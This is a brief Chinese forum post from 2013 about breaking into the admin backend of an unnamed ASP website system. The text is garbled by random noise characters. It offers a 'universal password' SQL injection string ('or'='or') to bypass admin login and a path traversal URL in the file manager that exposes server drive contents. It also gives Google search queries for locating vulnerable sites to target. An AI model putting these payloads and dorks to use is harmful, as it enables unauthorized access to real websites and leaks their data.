后台万能密码 'or'='or'% V7 w; ?# e+ {' J9 M/ P+ w+ S
: t h. a, g* z; c) E5 L后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
, W! M! ?8 C- U! Hadmin/uploadfile.asp?currentFolder=/upfiles/../
/ t& M+ }- @4 R8 p8 K j- U6 t( |2 o! Y$ _2 a) z
漏洞证明：- z+ w( U% z3 F) \' ]! }5 O
r' a0 | c0 |2 W8 ^; a+ K
谷歌：inurl:type.asp?id=1 新闻中心# R2 F* v) L5 u9 J0 |! c
或者 ：inurl:download_ok.asp?
1 W! `4 e2 W+ Y& K- u* G6 v. r y7 h- @
|
发表于 2013-3-14 20:17:32
收藏
支持
反对